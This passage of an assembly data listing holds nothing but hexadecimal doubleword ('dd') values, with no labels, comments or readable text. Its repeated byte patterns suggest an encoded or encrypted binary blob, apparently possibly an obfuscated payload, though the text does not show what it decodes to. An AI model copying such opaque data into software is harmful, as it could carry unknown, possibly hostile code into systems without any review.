0A6A0DD61h, 0DA57A7A7h dd 0A7A7A5A8h, 91030607h, 0BDD10D9Bh, 5B5860E0h, 2A1BB058h dd 0E0B5858h, 0B0DDD50Fh, 8A7A5A7h, 49D914F9h, 485D5B48h dd 0DB4849D9h, 0D50853B0h, 0D508441Dh, 0F908541Dh, 4849D944h dd 85AB0DBh, 8501DD3h, 0BA740D3h, 0F99FD10Ch, 4849D984h dd 0D98C5D5Bh, 0B0DB4849h, 579F6150h, 585BE1DDh, 0D8E0F958h dd 5D5B4849h, 4849D9A4h, 85CB0DBh, 0A784DDD5h, 5708A7A5h dd 0D9A85DE7h, 0B0DB4849h, 0DDD3085Dh, 0A7A5A7B0h, 0A740D308h dd 9FD1540Bh, 505DE757h, 574849DAh, 0D89C4DE7h, 88594849h dd 615FB0DBh, 0BDD579Fh, 0D358585Bh, 49D9486Dh, 51B6DB48h dd 585ADDD5h, 0A708A7A6h, 0A5A784EDh, 8F85B0A7h, 9CDBA7A7h dd 0A4FDDB50h, 58A7A5A7h, 49DA14F9h, 385D5B48h, 0DB4849D9h dd 0DDD148B0h, 0A7A5A780h, 0A7B4DD9Fh, 5848A7A5h, 0E7575858h dd 49D8945Dh, 2C5D5B48h, 0DB4849D9h, 0DDD150B0h, 0A7A5A7A0h dd 0F05DE757h, 0D14849D9h, 0A5A7ACDDh, 0A8DD9FA7h, 5AA7A5A7h dd 0F9585858h, 4849D898h, 0DA645D5Bh, 0B0DB4849h, 0DDD5085Ah dd 0A7A5A7B4h, 0A4DDD508h, 8A7A5A7h, 0A780DDD5h, 0A708A7A5h dd 0A5A784EDh, 441DD5A7h, 541DD508h, 0D890F908h, 5D5B4849h dd 4849D908h, 85DB0DBh, 8501DD3h, 0BA740D3h, 0F99FD11Ch dd 4849D880h, 944DE757h, 594849D8h, 5FB0DB88h, 0DD579F61h dd 58585947h, 9C5DE757h, 0D14849D9h, 0DC6D5B9Eh, 0DB4849D9h dd 0E5D853B6h, 0A7A6585Ah, 0D8512D1Ch, 0A6585BE5h, 5D2C08A7h dd 5858AEB1h, 5DE5D858h, 8A7A658h, 0E5D8512Dh, 0A7A6585Eh dd 0B15D2C11h, 58585887h, 0A7A4DDD3h, 0DDD1A7A5h, 0A7A5A78Ch dd 0A780DDD3h, 0DDD1A7A5h, 0A7A5A788h, 0A7B8DDD5h, 0F908A7A5h dd 4849D9ACh, 4D5B9AD1h, 4849D9DCh, 0A55B2DBh, 0D9144DD3h dd 0B2DB4849h, 4DD30A5Ah, 4849D954h, 88D19A59h, 853B0DBh dd 485DE757h, 5B4849DAh, 49D9A05Dh, 50B0DB48h, 0D8B4F908h dd 8104849h, 0A788DDD5h, 0A708A7A5h, 58A8704Dh, 94DDD148h dd 0D3A7A5A7h, 49D8BC55h, 0D0555B48h, 0DB4849D9h, 906152B1h dd 0E7574F2Dh, 49D8A45Dh, 4DE75748h, 4849D8C4h, 8E599ED1h dd 0B350B6DBh, 5DE7571Ah, 4849D95Ch, 6D5B9ED1h, 4849DA54h dd 0D55AB6DBh, 0A4A791DDh, 0EDA708A7h, 0A7A5A7BCh, 0A78E7AB0h dd 509CDBA7h, 405DE757h, 614849DAh, 0A5A7BCDDh, 0A7542CA7h dd 0A5A7BCEDh, 944DA7A7h, 0F948597Dh, 4849D88Ch, 0D9684DD3h dd 4D5B4849h, 4849D9F8h, 0D051B2DBh, 0A7A65DCCh, 0DC9EA7A6h dd 0A6A7A45Dh, 10F908A7h, 9E4849DAh, 0A7A65DDCh, 0A724A7A6h dd 0DDD5742Dh, 0A7A75859h, 744DA708h, 304858A8h, 4849D6C0h dd 0A79CEBB0h, 0C5D508A7h dd 0A7A75859h, 744DA70Bh, 304858A8h, 4849D623h, 0A79CC3B0h dd 1445D3A7h, 0DB4849DAh, 80B50B3h, 0B0742DA7h, 0A7A7AFEBh dd 577C9CDBh, 0D9A84DE7h, 9AD94849h, 5858A7A1h, 402C8861h dd 585ADDD5h, 0D508A7A6h, 0A75859DDh, 0DCB008A7h, 0DB585849h dd 77B3509Ch, 585ADDD5h, 0D508A7A6h, 0A75859DDh, 4DA708A7h dd 4858A874h, 49D62E30h, 9C66B048h, 0D508A7A7h, 0A75859C5h dd 4DA70BA7h, 4858A874h, 0F94C9CDBh, 4849D988h, 0D9AC5D5Bh dd 0B0DB4849h, 2D9E6157h, 0A4DDD356h, 0D1A7A5A7h, 0A5A790DDh dd 0D554B3A7h, 0A4A791DDh, 90DDD1A7h, 0A7A7A5A7h, 0A5A790EDh dd 59DDD5A7h, 8A7A758h, 0A8744DA7h, 29304858h, 0B04849D6h dd 0A7A79BBCh, 59C5D508h, 0BA7A758h, 0A8744DA7h, 9CDB4858h dd 0DA74F94Ch, 5D5B4849h, 4849D8E8h, 6154B0DBh, 0A5A7A4DDh dd 0A7542CA7h, 0A5A7A4EDh, 0B44DA7A7h, 0D5485D69h, 0A75859DDh dd 4DA708A7h, 485D69B8h, 0A43BB101h, 0E757A7A7h, 49D8945Dh dd 0DD611048h, 0A7A5A7B0h, 0DDD3542Ch, 0A7A5A7B0h, 0A740D308h dd 607500Bh, 0D9B9103h, 0B4D9BDD1h, 58585A04h, 0D30F0E0Bh dd 25DB5005h, 412C5848h, 49D904F9h, 685D5B48h, 0DB4849D9h dd 0DDD15DB0h, 0A7A7A5E0h, 5858DEB1h, 540DD358h, 0A055E757h dd 0DB4849D8h, 54615DB1h, 597DB8CDh, 0E442D48h, 7DE44DA7h dd 0B4F94859h, 5B4849D9h, 49D96C5Dh, 5CB0DB48h, 384DA708h dd 0F9484901h, 4849D954h, 0D13A98DBh, 0A7A5E0DDh, 0D63130A7h dd 5DB04849h, 0A7A7A79Bh, 0D508542Dh, 0A7A5F2CDh, 4DA70AA7h dd 48550170h, 0D5489CDBh, 0A7A5F2DDh, 4DA708A7h, 4849013Ch dd 2D5BA0DBh, 0D880F94Eh, 7A5D4849h, 5B585859h, 49D9805Dh dd 0E0DDD148h, 69A7A7A5h, 81D11FA7h, 18A790DBh, 585964D8h dd 0DDD1A12Dh, 0A7A7A5ECh, 49D63A30h, 9AF2B048h, 9CDBA7A7h dd 0D5080B5Ch, 0A7A5E6CDh, 4DA70AA7h, 48550170h, 0D3549CDBh dd 0A7A5ECDDh, 4DE757A7h, 4849DA18h, 0D9444D5Bh, 0B2DB4849h dd 0D888715Dh, 57765B64h, 5858F3DDh, 0ECDDD358h, 0DBA7A7A5h dd 0E6575CB0h, 0A7085B5Ch, 58A8644Dh, 5C9CDB48h, 0CDD09AD1h dd 0A7A7A5F1h, 0A5ECDDD3h, 0B0DBA7A7h, 5CE6575Ah, 4DA7085Bh dd 4858A864h, 0D15C9CDBh, 0F0CDD09Ah, 0D3A7A7A5h, 0A7A5ECDDh dd 5BB0DBA7h, 5B5CE657h, 644DA708h, 0DB4858A8h, 9AD15C9Ch dd 0A5FFCDD0h, 0E5D8A7A7h, 0A7A7A5F1h, 0D8432D14h, 0A7A5FFE5h dd 4A2D16A7h, 0A5F0E5D8h, 2D13A7A7h, 0B7B00B51h, 0DBA7A79Ch dd 0E5D85C9Ch, 0A7A7A5F1h, 0D8792D1Dh, 0A7A5FFE5h, 402D00A7h dd 0A5F0E5D8h, 2D1DA7A7h, 0E0EDA757h, 0BA7A7A5h, 0A79AE2B0h dd 509CDBA7h, 0A69ADDD5h, 0D508A7A7h, 0A7A5E6DDh, 4DA708A7h dd 48516A70h, 0E7579ED1h, 49D9F05Dh, 545D5B48h, 0DB4849DAh dd 80AF5BB0h, 0DC579E61h, 585858EFh, 0A6B6E5D8h, 5776A7A7h dd 5858FEDCh, 0D6013058h, 0D9B04849h, 0D5A7A799h, 0A7A6B6CDh dd 80B0AA7h, 0A5E6CDD5h, 0A70AA7A7h, 5501704Dh, 482DA748h dd 0D5542DA7h, 0A7A5E6DDh, 84B008A7h, 0DBA7A7A5h, 37B3789Ch dd 0A69ADDD5h, 0E08A7A7h, 57904DA7h, 9FD14859h, 452DA751h dd 0A5E0DDD3h, 5D5BA7A7h, 48550174h, 7C4DA708h, 1485501h dd 0E44DA70Eh, 0B348597Dh, 0B6E5D81Ah, 76A7A7A6h, 8306D2Ch dd 0B04849D6h, 0A7A79948h, 0A6B6CDD5h, 0B0AA7A7h, 0E6CDD508h dd 0AA7A7A5h, 1704DA7h, 2DA74855h, 542DA748h, 0A5E6DDD5h dd 0B008A7A7h, 0A7A7A533h, 51789CDBh, 7D52DA7h, 9B910306h dd 0E0BDD10Dh, 5859586Ch, 5833D4B0h, 0F0E0B58h, 49DA78F9h dd 585D5B48h, 0DB4849D9h, 5D6153B0h, 4849DA9Ch, 0B4F94C2Dh dd 0DB4849D8h, 5D615198h, 48597D88h, 5A20DA57h, 0DDD55858h dd 0A7A6A7B8h, 104DA708h, 0D54858A8h, 0A6A788DDh, 0DDD508A7h dd 0A7A6A7B8h, 57513208h, 0D95C5DE7h, 5D5B4849h, 4849D9B4h dd 85BB0DBh, 0A7502DA7h, 516A7C4Dh, 0F99FD148h, 4849D988h dd 104DE757h, 594849D9h, 50B0DB88h, 0DD579F61h, 58585A7Eh dd 0A7B0EDD3h, 0ECF9A7A6h, 0DB4849D9h, 0DDD15CB0h, 0A7A6A7A0h dd 0A7A0DDD5h, 3008A7A6h, 4849C2F0h, 0A74ED30Eh, 58584D4Ch dd 9FD15858h, 49DA54F9h, 5CB0DB48h, 0DD579F61h, 585859B2h dd 0A784DDD5h, 0D308A7A6h, 0A6A7A0DDh, 48D308A7h, 0D1200AA7h dd 0D9E4F99Fh, 0E7574849h, 49D9C84Dh, 0DB885948h, 9F6156B0h dd 59EEDD57h, 0DDD55858h, 0A7A75859h, 84EDA708h, 0B0A7A6A7h dd 0A7A78883h, 0D1509CDBh, 0CDD11A9Ah, 0A7A6A794h, 0A784EDA7h dd 4DA7A7A6h, 4849376Ch, 5859E5D8h, 2D30A7A7h, 5AE5D843h dd 2CA7A758h, 0E5D84A2Dh, 0A7A7585Bh, 0D8512D2Ch, 0A7585CE5h dd 5D2C28A7h, 58593BB1h, 0A8DDD558h, 8A7A6A7h, 0A7A0DDD3h dd 0D308A7A6h, 100AA748h, 84F99FD1h, 5B4849D9h, 49DA6C5Dh dd 50B0DB48h, 0DD579F61h, 58585960h, 0A7A4DDD5h, 3008A7A6h dd 4849C270h, 0A7A8DDD3h, 0D308A7A6h, 4D4CA748h, 58585858h dd 0FCF99FD1h, 0DB4849D8h, 9F615FB0h, 58A6DD57h, 0DDD55858h dd 0A7A6A7ACh, 0A4DDD308h, 8A7A6A7h, 0CAA748D3h, 585859E8h dd 7CF99FD1h, 5B4849D9h, 49DA745Dh, 51B0DB48h, 0DD579F61h dd 5858589Ch, 0A780DDD5h, 0D308A7A6h, 0A6A7ACDDh, 48D308A7h dd 0D1280AA7h, 0D898F99Fh, 9AD14849h, 88D19A59h, 615CB0DBh dd 0D3492C9Fh, 0A6A7ACDDh, 58D308A7h, 0B15008A7h, 585858D4h dd 0DDD38369h, 0A7A6A780h, 0A7ACDD61h, 5B2CA7A6h, 0D31B8369h dd 0A6A7ACDDh, 58D308A7h, 0D35008A7h, 0A6A780DDh, 58D308A7h dd 515008A7h, 0D5052D83h, 0A6A78CDDh, 0DDD308A7h, 0A7A6A7A4h dd 0A748D308h, 9FD1780Ah, 49D974F9h, 4DE75748h, 4849D9C0h dd 0B0DB8859h, 2D9F6151h, 59DDD56Bh, 8A7A758h, 0A7A0EDA7h dd 0EDA7A7A6h, 0A7A6A78Ch, 0A7A4EDA7h, 6CB0A7A6h, 0A7585840h dd 0A6A78CEDh, 0A4EDA7A7h, 0EA7A6A7h, 583D99B0h, 449CDB58h dd 0A7A4DDD3h, 0D308A7A6h, 5008A758h, 0A7A8DDD3h, 0D308A7A6h dd 5008A758h, 0A75ED30Eh, 6075008h, 0D9B9103h, 0B4DBBDD1h dd 0F0E0B18h, 71AC4DA7h, 9BD1485Dh, 587D1AB0h, 2D985158h dd 6C65D356h, 0DB4849DAh, 53B15FB7h, 0B58585Ah, 645DE757h dd 0DB4849D9h, 300851B0h, 584757A7h, 37744DA7h, 9ED14849h dd 8A41DD5h, 0A70E7032h, 5978D84Dh, 0D39FD148h, 49D97C4Dh dd 0AC4D5B48h, 0D34849D9h, 49D89855h, 5AB1DB48h, 0C0CD14D1h dd 49D898F9h, 5AB0DB48h, 0DC579F61h, 585859E2h, 8981DD5h dd 1DD57032h, 0F8F9089Ch, 0DB4849D9h, 5D5B5298h, 4849D9B4h dd 0A42DA708h, 1544DA7h, 9FD14851h, 585025DBh, 58F9012Ch dd 0DB4849D9h, 9F6151B0h, 65D3562Dh, 4849D8F4h, 0B15EB7DBh dd 5858592Eh, 49D978F9h, 5B9FD148h, 49D9D865h, 5FB7DB48h dd 49DA4CF9h, 4DE75748h, 4849DA40h, 0B0DB8859h, 9C1D615Bh dd 5914DC57h, 64F95858h, 0D14849DAh, 84655B9Fh, 0DB4849D8h dd 6FB15CB7h, 0F9585859h, 4849D938h, 615FB0DBh, 49DAD45Dh dd 0F9402D48h, 4849D9F8h, 5867A05Dh, 18320858h, 71B44DA7h dd 0D4FB485Dh, 0D54849DAh, 5708981Dh, 0DA1C5DE7h, 4DD34849h dd 4849D958h, 0A848DCD5h, 8585867h, 0DAD46DA7h, 59324849h dd 0A7A42DA7h, 5101544Dh, 0DA58F948h, 5D5B4849h, 4849D9E8h dd 6154B0DBh, 49DAD05Dh, 32572D48h, 0A758324Ch, 5D71B44Dh dd 0DAD0FB48h, 59324849h dd 0DAD06DA7h, 4DA74849h, 48595850h, 58329FD1h, 49D930F9h dd 4DE75748h, 4849DA50h, 0B0DB8859h, 5932085Bh, 0DAD06DA7h dd 4DA74849h, 485D69BCh, 58329FD1h, 49DAD4F9h, 0A768A748h dd 49DAD06Dh, 0B04DA748h, 0D1485D71h, 0A81DD59Fh, 0D66F3008h dd 28F94849h, 0DB4849D9h, 0A7085CB0h, 58A8784Dh, 9F9FD148h dd 585AA01Dh, 0E8F95858h, 0DB4849D9h, 9F615FB0h, 0E757102Ch dd 49D9A85Dh, 4DE75748h, 4849D910h, 0B0DB8859h, 0B41DD15Eh dd 0EC5DE757h, 0DB4849D8h, 57085DB0h, 0D93C5DE7h, 5D5B4849h dd 4849D9A4h, 18F90810h, 104849D9h, 0B41DD508h, 0A7583208h dd 4DA7A42Dh, 48511044h, 0A70E9FD1h, 5111104Dh, 0A42DA748h dd 11104DA7h, 0A0D14851h, 91030607h, 0BDD10D9Bh, 59585CE0h dd 3ED3B058h, 0E0B5858h, 502DD30Fh, 6C1865D5h, 25D84851h dd 5E2D1B54h, 78F865D5h, 25D84859h, 5E2D0854h, 106865D5h dd 90F94851h, 104849D8h, 58D83008h, 5B325858h, 49D980F9h dd 4DE75748h, 4849D8CCh, 0B0DB8859h, 5B32085Eh, 58585830h dd 4DA70F98h, 48493340h, 0A7DB9FD1h, 9FDC57A7h, 32585858h dd 0D9D0F958h, 0B0DB4849h, 0F0E085Dh, 37684DA7h, 4CF94849h dd 5B4849DAh, 49D9245Dh, 52B0DB48h, 0A4DDD508h, 8A7A6A7h dd 58A7A730h, 59DDD558h, 8A7A758h, 6C4DA70Fh, 0D54858A8h dd 0A7585DD5h, 0A790DBA7h, 5964D818h, 0D3A12D58h, 49D90C4Dh dd 204D5B48h, 0DB4849D9h, 9BD154B2h, 0C5D18B59h, 0A7A6A7A4h dd 0E7575832h, 49D8A45Dh, 0D05D5B48h, 0DB4849D9h, 0E085FB0h dd 684DA70Fh, 0D3484937h, 49D9E46Dh, 906D5B48h, 0D34849D9h dd 0A6A7A4C5h, 0EDC4D1A7h, 0A7A6A791h, 49D904F9h, 5CB0DB48h dd 0A4DDD508h, 8A7A6A7h, 49D9A4F9h, 5C98DB48h, 59DDD508h dd 8A7A758h, 444DA70Fh, 0F484937h, 11104DA7h, 6074851h dd 0D9B9103h, 0B4D9BDD1h, 58585944h, 0D30F0E0Bh, 10D3501Dh dd 0A415D150h, 0D15C08D3h, 18D3A00Dh, 0A81DD154h, 0D3501DD3h dd 0AC1DD158h, 0A6BCE5D5h, 6DD5A7A7h, 4849DB38h, 585848E1h dd 0D5FDAB58h, 6DD5FC25h, 4849DBF8h, 585848E1h, 0D5FDAB58h dd 0A7A73CE5h, 0B86DD5A7h, 0E14849DBh, 58585848h, 0E5D5FDABh dd 0A7A7A77Ch, 0DC786DD5h, 48E14849h, 0AB585858h, 0D92CF9FDh dd 9BD14849h, 0B3DB9B59h, 5969B156h, 87D15858h, 0A75ABF99h dd 0A6BC65ECh, 65D3A7A7h, 4849D9D4h, 0F5E9FDBh, 0A75425D3h dd 2DA7C76Ch, 0A42DA7A8h, 0A7A02DA7h, 1CB0AC2Dh, 0DBA7A791h dd 1DD1449Ch, 0D9A0F9ACh, 61184849h, 0D1102C9Bh, 7C655B87h dd 0A74849DAh, 0A6BCE5ECh, 0E757A7A7h, 49D9C865h, 0E8655B48h dd 174849D8h, 0AC65D30Fh, 0DB4849D9h, 86D150B7h, 25D3A659h dd 0EF6CA754h, 0A7A42DA7h, 2DA7A02Dh, 0A82DA7ACh, 0A790AAB0h dd 449CDBA7h, 0D3A81DD1h, 49D93065h, 6DE75748h, 4849D910h dd 0D117AF59h, 0A7A65986h, 0A6BCEDECh, 0E757A7A7h, 49D88865h dd 539FDB48h, 65E7570Fh, 4849D994h, 0D15FB7DBh, 0D3A65986h dd 6CA75425h, 0A02DA7EFh, 0A7AC2DA7h, 2DA7A82Dh, 90F9B0A4h dd 1DD1A7A7h, 65E757A4h, 4849DA48h, 0D9A0655Bh, 0B7DB4849h dd 5986D15Dh, 0EDECA7A6h, 0A7A7A6BCh, 0D9E465D3h, 9FDB4849h dd 0E7570F48h, 49D9C065h, 5A9FDB48h, 0A65986D1h, 0A75425D3h dd 2DA7EF6Ch, 0A82DA7ACh, 0A02DA708h, 0A7900EB0h, 609CDBA7h dd 0F9A01DD1h, 4849D938h, 0D90C5D5Bh, 0B0DB4849h, 579B5953h dd 0D93C5DE7h, 98DB4849h, 579B6153h, 0A7A6E5DEh, 0D90CF9A7h dd 9BD14849h, 0D904455Bh, 0B3DB4849h, 0D958F953h, 0E7574849h dd 49D8A44Dh, 0DB885948h, 1DD153B0h, 59C1B1B4h, 25D35858h dd 0E52CA7B4h, 2065D3FCh, 0DB4849D9h, 0D30F5CB7h, 6CA75425h dd 0A82DA7C7h, 0A7A42DA7h, 2DA7A02Dh, 90DCB0ACh, 9CDBA7A7h dd 0AC1DD144h, 49DA14F9h, 5CB0DB48h, 5CF99B59h, 0DB4849DAh dd 9B615698h, 0ECF9522Ah, 0DB4849D9h, 9B715498h, 0D3B425D3h dd 49D8846Dh, 5BB6DB48h, 2CA7AF59h, 65D3FCE5h, 4849D92Ch dd 186DE757h, 594849DAh, 5EB7DBAFh, 5425D30Fh, 0A7C76CA7h dd 2DA7A42Dh, 0AC2DA7A0h, 0B0A82DA7h, 0A7A7907Ah, 0D1449CDBh dd 8CF9A81Dh, 5B4849D8h, 49D8BC5Dh, 5DB0DB48h, 0BCF99B59h dd 0DB4849D8h, 5D5B5C98h, 4849D92Ch, 522A9B61h, 49D9ECF9h dd 5498DB48h, 25D39B71h, 6DE757B4h, 4849DA48h, 0DA586D5Bh dd 0B6DB4849h, 0A7AF5950h, 0D3FCE52Ch, 49D9D465h, 519FDB48h dd 0D9BC655Bh, 0D30F4849h, 6CA75425h, 0A02DA7C7h, 0A7AC2DA7h dd 2DA7A82Dh, 9FE8B0A4h, 9CDBA7A7h, 0A41DD144h, 49D920F9h dd 5CB0DB48h, 60F99B59h, 0DB4849DAh, 9B614898h, 80F9522Ah dd 0DB4849D8h, 9B715298h, 0D3B425D3h, 49DA586Dh, 5AB6DB48h dd 2CA7AF59h, 0E757FCE5h, 49D89C65h, 569FDB48h, 5425D30Fh dd 0A7C76CA7h, 2DA7AC2Dh, 0A42DA7A8h, 0B0A02DA7h, 0A7A79F0Eh dd 0D1449CDBh, 58F9A01Dh, 0DB4849D9h, 9B595CB0h, 485DE757h dd 0D34849DAh, 49D9F84Dh, 481CD548h, 2A9B615Bh, 0D928F94Bh dd 98DB4849h, 4DE75750h, 4849D91Ch, 9B718859h, 49D9D4F9h dd 5B98DB48h, 0F9B41D59h, 4849DA7Ch, 615398DBh, 0DE57B41Dh dd 0A7A7A60Eh, 0D8E445D3h, 9BDB4849h, 5DE7575Dh, 4849D960h dd 0D15BB0DBh, 0C1B1B01Dh, 0D3585859h, 0ECA7B025h, 0A7A73CE5h dd 9065D3A7h, 0DB4849D8h, 0D30F5B9Fh, 6CA75425h, 0A82DA7C7h dd 0A7A42DA7h, 2DA7A02Dh, 8106B0ACh, 9CDBA7A7h, 0AC1DD144h dd 49D8B8F9h, 5BB0DB48h, 4CF99B59h, 0DB4849D9h, 9B615798h dd 0E757542Ah, 49D89C5Dh, 5298DB48h, 25D39B71h, 8C6DD3B0h dd 0DB4849D8h, 0AF595CB6h, 3CE5ECA7h, 0D3A7A7A7h, 49D95865h dd 5A9FDB48h, 5425D30Fh, 0A7C76CA7h, 2DA7A42Dh, 0AC2DA7A0h dd 0B0A82DA7h, 0A7A78158h, 0D1449CDBh, 0E757A81Dh, 49DA1C5Dh dd 4DE75748h, 4849D95Ch, 0B0DB8859h, 0F99B595Ch, 4849D8BCh dd 615398DBh, 0F9482A9Bh, 4849DA64h, 5B5798DBh, 49D9685Dh dd 0D39B7148h, 6DD3B025h, 4849D9ECh, 595AB6DBh, 0E5ECA7AFh dd 0A7A7A73Ch, 0D9B865D3h, 9FDB4849h, 25D30F54h, 0C76CA754h dd 0A7A02DA7h, 2DA7AC2Dh, 0A42DA7A8h, 0A780CBB0h, 449CDBA7h dd 0F9A41DD1h, 4849D998h, 595A98DBh, 5DE7579Bh, 4849D91Ch dd 615498DBh, 0F9522A9Bh, 4849D990h, 715098DBh, 0B025D39Bh dd 0D9AC6DD3h, 0E7574849h, 49DA504Dh, 0DB8E5948h, 0AF595FB6h dd 3CE5ECA7h, 0D3A7A7A7h, 49D90065h, 4A9FDB48h, 0D96C655Bh dd 0D30F4849h, 6CA75425h, 0AC2DA7C7h, 0A7A82DA7h, 2DA7A42Dh dd 807EB0A0h, 9CDBA7A7h, 0A01DD144h, 49DA68F9h, 5A98DB48h dd 0B8F99B59h, 0DB4849D9h, 5D5B5398h, 4849D890h, 542A9B61h dd 0C85DE757h, 0DB4849D9h, 9B715098h, 49D928F9h, 0B01D5948h dd 605DE757h, 0DB4849D9h, 1D615198h, 0CDE57B0h, 0D3A7A7A6h dd 49D8FC45h, 5FB3DB48h, 49D8BCF9h, 185D5B48h, 0DB4849D9h dd 1DD15EB0h, 599FB1BCh, 25D35858h, 0E5ECA7BCh, 0A7A7A77Ch dd 0DA1065D3h, 9FDB4849h, 25D30F5Ah, 0C76CA754h, 0A7A82DA7h dd 2DA7A42Dh, 0AC2DA7A0h, 0A7E52CB0h, 449CDBA7h, 0F9AC1DD1h dd 4849D998h, 5B5E98DBh, 49DA605Dh, 0F99B5948h, 4849D990h dd 615098DBh, 0F9522A9Bh, 4849D880h, 715298DBh, 0BC25D39Bh dd 5C6DE757h, 5B4849D9h, 49D9486Dh, 50B6DB48h, 0ECA7AF59h dd 0A7A77CE5h, 0DC65D3A7h dd 574849D9h, 0D9FC6DE7h, 0AF594849h, 5425D30Fh, 0A7C76CA7h dd 2DA7A42Dh, 0AC2DA7A0h, 0B0A82DA7h, 0A7A7E55Dh, 0D1449CDBh dd 14F9A81Dh, 0DB4849D9h, 5D5B5C98h, 4849DA7Ch, 0E7579B59h dd 49D9CC5Dh, 904DD348h, 0D54849D9h, 615F481Ch, 574B2A9Bh dd 0D93C5DE7h, 4DD34849h, 4849D920h, 5E481CD5h, 25D39B71h dd 806DD3BCh, 0DB4849D8h, 0AF595CB6h, 7CE5ECA7h, 0D3A7A7A7h dd 49D98065h, 5E9FDB48h, 0D8BC655Bh, 0D30F4849h, 6CA75425h dd 0A02DA7C7h, 0A7AC2DA7h, 2DA7A82Dh, 0E4D3B0A4h, 9CDBA7A7h dd 0A41DD144h, 49DA4CF9h, 5C98DB48h, 98F99B59h, 0DB4849D9h dd 9B615798h, 0BCF94B2Ah, 0DB4849D8h, 0E7575D98h, 49D89C4Dh dd 71885948h, 0BC25D39Bh, 9C6DE757h, 0DB4849D8h, 0AF595BB6h dd 7CE5ECA7h, 0D3A7A7A7h, 49D94465h, 499FDB48h, 0D930655Bh dd 0D30F4849h, 6CA75425h, 0AC2DA7C7h, 0A7A82DA7h, 2DA7A42Dh dd 0E447B0A0h, 9CDBA7A7h, 0A01DD144h, 105DE757h, 574849D9h dd 0D8F04DE7h, 1CD54849h, 9B595E48h, 49D998F9h, 5798DB48h dd 0D9D85D5Bh, 9B614849h, 44F94B2Ah, 0DB4849DAh, 0E7575198h dd 49D9604Dh, 71885948h, 0D904F99Bh, 1D594849h, 0D90CF9BCh dd 98DB4849h, 0BC1D615Ch, 0A670DE57h, 25D3A7A7h, 0A06DD350h dd 5B4849D9h, 49D9F86Dh, 5407D348h, 0D1A8055Bh, 57B8EF04h dd 0D8CC6DE7h, 6D5B4849h, 4849D968h, 55B47D3h, 0EF04D1ACh dd 6DE757ACh, 4849DA18h, 0DA586D5Bh, 7D34849h, 0A4055B50h dd 8CEF04D1h, 0D9D46DD3h, 7D34849h, 0A0055B5Ch, 7EF44D1h dd 9B910306h, 30BDD10Dh, 4849334Ch, 71A04DA7h, 4CF9485Dh dd 5484933h, 0D585C9Ah, 0B4D9BDD1h, 58585B40h, 0D30F0E0Bh dd 5D3502Dh, 1865D354h, 174849D9h, 585A73B1h, 0D5A23058h dd 0EDB04849h, 0FA7A7EAh, 0A5CDD508h, 0AA7A7A4h, 1704DA7h dd 0D0F94855h, 5D4849D9h, 585858A2h, 0D9D45D5Bh, 0DDD14849h dd 0A7A7A5A4h, 49D5B030h, 0EADEB048h, 0CDD5A7A7h, 0A7A7A4B4h dd 0A4CDD50Ah, 0AA7A7A5h, 0A759CDD5h, 80AA7A7h, 0A4A5CDD5h dd 300AA7A7h, 0D8585859h, 584AD8B0h, 749CDB58h, 0A4A8DDD1h dd 98DDA7A7h, 59E1DC57h, 0DDD55858h, 0A7A7A65Ah, 5BDDD508h dd 8A7A7A7h, 0A79B1AB0h, 0D8B8F9A7h, 5D5B4849h, 4849DA58h dd 852B0DBh, 0A65ADDD5h, 0B08A7A7h, 0A7BD12B0h, 4C9CDBA7h dd 0D9344DD3h, 9AD94849h, 5858A7A2h, 0DC578861h, 5858592Bh dd 49D5D230h, 0E9A6B048h, 801A7A7h, 0A759CDD5h, 0B00AA7A7h dd 58580495h, 49D9DCF9h, 385D5B48h, 0DB4849D9h, 0DDD153B0h dd 0A7A7A4ACh, 49D9ACF9h, 51B0DB48h, 0A4A0DDD1h, 6DB3A7A7h dd 0A4A0DDD3h, 0E4D8A7A7h, 0A7A7595Dh, 472D7BA7h, 0A4A0DDD3h dd 4DD3A7A7h, 4849D948h, 0C455E757h, 594849D8h, 57B2DB92h dd 595DCCD0h, 0A7A7A7A7h, 0A7A4A0DDh, 0A0E5D9A7h, 0A7A7A7A4h dd 2A585858h, 0D8B0F9E7h, 0A35D4849h, 5B585858h, 49D8845Dh dd 0A4DDD148h, 0D5A7A7A5h, 0A7A4B4DDh, 0DDD508A7h, 0A7A7A5A4h dd 5ADDD508h, 8A7A7A6h, 0A4ACDDD3h, 0DCD5A7A7h, 0A7A7595Dh dd 0DDD508A7h, 0A7A7A4A5h, 58593008h, 3AB0D858h, 0DB585849h dd 0DDD1409Ch, 0A7A7A4A8h, 782D98DDh, 0B05DE757h, 574849D9h dd 0D9C84DE7h, 88594849h, 0D96C4DD3h, 0B2DB4849h, 5DCCD05Ah dd 0A7A7A5ABh, 0A4ACDDD3h, 0DDD1A7A7h, 0A7A7A4B0h, 595DD4D5h dd 0DBA7A7A7h, 0D818A790h, 2D585964h, 0B0D5D3A1h, 59A7A7A4h dd 0ACD5D199h, 0D5A7A7A4h, 0A7A65ADDh, 0A70E08A7h, 58A8744Dh dd 509CDB48h, 49D5DD30h, 0E896B048h, 9CDBA7A7h, 0A70E085Ch dd 58A8744Dh, 509CDB48h, 0A4ACDDA7h, 0DDD3A7A7h, 0A7A7A4ACh dd 5DDCEE57h, 0A7A7A759h, 0D9004DD3h, 4D5B4849h, 4849D9E4h dd 6151B2DBh, 52DD5788h, 1FA7A7A7h, 49D948F9h, 4D98DB48h dd 0DA579F61h, 0A7A7A59Dh, 91030607h, 0BDD10D9Bh, 505DE757h dd 104849DAh, 334C5D61h, 532E4849h, 49334C30h, 4C4DA748h dd 0F94858A8h, 4849334Ch, 585C9A05h, 14D30E0Bh, 6DD3547Ch dd 4849DA4Ch, 0D88045D3h, 9BD94849h, 0B795F3DAh, 944DE757h dd 594849D8h, 0E904D18Bh, 6DE757A0h, 4849D960h, 0D93845D3h dd 9BD94849h, 486A0C37h, 57E944D1h, 0D99C6DE7h, 6D5B4849h dd 4849D958h, 0D90845D3h, 9BD94849h, 0C0E284ACh, 0D9E4455Bh dd 4D14849h, 6DD39CE9h, 4849D948h, 1045E757h, 0D94849D9h dd 1D7B589Bh, 0E904D13Fh, 9B030684h, 0D522300Fh, 8DB04849h dd 1A7A7F7h, 0C04DA708h, 0FB48597Dh, 4849DA34h, 49D954F9h dd 4DE75748h, 4849D970h, 0B0DB8859h, 345D615Fh, 2D4849DAh dd 0D537304Fh, 0FDB04849h, 1A7A7F7h, 404DA708h, 0FB485D6Ah dd 4849DA34h, 705DE757h, 0DB4849D9h, 5D615DB0h, 4849DA34h dd 130452Ch, 0B04849D5h, 0A7A7F724h, 6DA70801h, 4849DA34h dd 79F44DA7h, 0ECFB4859h, 748597Dh, 0BDD10D9Bh, 0F0E0B09h dd 0D15405D3h, 